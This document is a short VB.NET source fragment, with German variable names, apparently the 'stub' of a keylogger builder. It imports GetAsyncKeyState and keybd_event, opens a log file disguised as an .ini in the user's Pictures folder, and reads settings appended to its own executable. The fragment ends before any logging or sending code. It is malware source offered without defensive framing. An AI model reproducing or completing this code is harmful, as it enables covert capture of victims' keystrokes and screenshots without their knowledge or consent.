Imports System.IO
Public Class Form1
Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal nVirtKey As Keys) As Short
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Integer, ByVal dwExtraInfo As Integer)
Private Const VK_SNAPSHOT As Short = &H2CS
Dim Speicherort As String = "C:\Users\" & System.Environment.UserName & "\Bilder\" & System.Environment.UserName & " - " & "Log" & ".ini"
Dim LoggDatei As New StreamWriter(Speicherort)
Dim rnd As New System.Random()
Dim z As Integer = rnd.Next()
Dim vb6 As New Compatibility.VB6.FixedLengthString(100)
Dim cmd() As String
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim StubPfad As String = Application.ExecutablePath
Dim StubCopy As String = StubPfad.Substring(0, StubPfad.IndexOf(".")) & "stubcopy.exe"
IO.File.Copy(StubPfad, StubCopy)
FileOpen(1, (StubCopy), OpenMode.Binary)
FileGet(1, vb6.Value, LOF(1) - 99)
FileClose(1)
cmd = vb6.Value.Split("~")
IO.File.Delete(StubCopy)